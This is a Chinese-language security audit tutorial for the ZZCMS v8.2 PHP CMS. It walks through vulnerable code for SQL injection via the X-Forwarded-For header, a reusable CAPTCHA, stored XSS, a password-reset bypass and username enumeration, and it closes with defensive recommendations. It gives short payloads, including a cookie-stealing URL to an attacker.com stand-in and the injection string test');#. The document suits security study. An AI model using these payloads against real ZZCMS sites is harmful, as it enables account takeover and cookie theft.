ZZCMS v8.2 代码审计
字数 1907 2025-08-18 11:39:23
ZZCMS v8.2 代码审计教学文档
0x00 审计概述
本文档基于对ZZCMS v8.2系统的代码审计结果,详细分析该系统存在的安全漏洞及其利用方法。审计采用追踪数据流向的方法,重点关注用户输入的处理和业务逻辑缺陷。
0x01 准备工作
环境搭建
- 系统环境:VirtualBox + Ubuntu Server + LAMP
- 测试工具:
- PhpStorm
- Chromium
- Burp Suite Community
MySQL日志监控技巧
- 修改MySQL配置文件
/etc/mysql/mysql.conf.d/mysqld.cnf - 在
[mysqld]下添加:general_log_file = /var/log/mysql/mysql.log general_log = 1 - 实时查看日志:
sudo tail -f /var/log/mysql/mysql.log
0x02 漏洞分析
1. 后台登录页面验证码逻辑漏洞
漏洞位置:logincheck.php中的验证码验证逻辑
漏洞代码:
function checkyzm($yzm){
if($yzm!=$_SESSION["yzm_math"]){
showmsg('验证问题答案错误!','back');
}
}
漏洞原理:
- 验证码生成在
code_math.php中,仅在刷新验证码时更新$_SESSION["yzm_math"] - 只要不刷新验证码,可以重复使用同一个验证码
利用方法:
- 使用Burp拦截请求,固定使用一个正确的验证码
2. 后台登录页面SQL注入漏洞
漏洞位置:logincheck.php中的IP获取和处理
漏洞代码:
$ip=getip();
$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
getip()函数:
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
漏洞原理:
getip()函数未对输入进行任何过滤- 通过构造
X-Forwarded-For等HTTP头可注入SQL语句
利用方法:
- 构造恶意HTTP头如:
X-Forwarded-For: 192.168.2.108'
3. 后台登录组合漏洞
漏洞组合:
- 验证码逻辑漏洞
- SQL注入导致登录次数不记录
利用方法:
- 结合两个漏洞可进行账号密码爆破
- 当账号密码正确时返回不同页面
4. 后台网站信息设置存储型XSS
漏洞位置:网站统计代码设置
漏洞代码:
$fcontent=$fcontent. "define('sitecount','". str_replace('"','',str_replace("'",'',stripfxg($_POST['sitecount'],true)))."');//网站统计代码\r\n";
stripfxg()函数:
function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false){
$string=stripslashes($string);
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string);
}
if ($nl2br==true){
$string=nl2br($string);
}
return $string;
}
漏洞原理:
- 网站统计代码经过处理后又被
showlabel()函数重新解析 - 可插入恶意JavaScript代码
利用方法:
- 输入:
<script>alert(1)</script>
5. 后台网站信息设置CSRF漏洞
漏洞位置:网站logo地址设置
漏洞原理:
- 可设置外部URL作为logo地址
- 访问首页时会向该URL发起GET请求
利用方法:
- 设置logo地址为攻击者控制的URL
- 可构造恶意请求如:
http://attacker.com/collect.php?cookie=document.cookie
6. 后台信息发布存储型XSS
漏洞位置:富文本编辑器内容存储
漏洞代码:
query("update zzcms_zh set bigclassid='$bigclassid',title='$title',address='$address',timestart='$timestart',timeend='$timeend',content='$content',passed='$passed',elite='$elite',sendtime='".date('Y-m-d H:i:s')."' where id='$id'");
漏洞原理:
- 富文本编辑器内容直接存入数据库
- 未对HTML标签进行过滤
利用方法:
- 插入XSS payload如:
<svg/onload=alert(1)>
7. 找回密码任意用户密码重置
漏洞位置:getpassword.php
漏洞原理:
- 方法一:修改验证码检查响应包
- 将
no改为yes绕过验证
- 将
- 方法二:直接修改POST参数
- 修改
action=step3并添加password=新密码
- 修改
利用方法:
- 方法一:拦截响应包修改验证结果
- 方法二:直接构造重置密码请求
8. 用户登录注册用户名爆破
漏洞位置:userregcheck.php
漏洞原理:
- 检查用户名是否存在的接口无防护措施
- 可枚举有效用户名
利用方法:
- 发送请求:
/reg/userregcheck.php?action=checkusername&id=test
9. 用户中心SQL注入
漏洞位置:msg.php中的消息模板保存
漏洞代码:
$content=stripfxg(rtrim($_POST["info_content"]));
query("insert into zzcms_msg (content)VALUES('$content') ");
漏洞原理:
- 用户输入直接拼接到SQL语句
- 可使用注释符绕过
利用方法:
- 输入:
test');#
0x03 防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用预处理语句防止SQL注入
-
会话安全:
- 验证码应每次验证后立即失效
- 使用CSRF Token防止跨站请求伪造
-
输出编码:
- 对输出到页面的内容进行HTML实体编码
- 使用CSP策略限制脚本执行
-
业务逻辑:
- 关键操作增加二次验证
- 密码重置流程应使用一次性令牌
-
日志监控:
- 记录所有敏感操作
- 设置异常行为告警
0x04 总结
ZZCMS v8.2存在多种安全漏洞,主要原因是:
- 用户输入未充分过滤
- 业务逻辑存在缺陷
- 会话管理不严格
审计过程中应重点关注:
- 用户输入的处理流程
- 数据库查询的构造方式
- 关键业务逻辑的实现
通过本次审计,展示了如何通过追踪数据流向来发现安全问题,以及漏洞组合利用的可能性。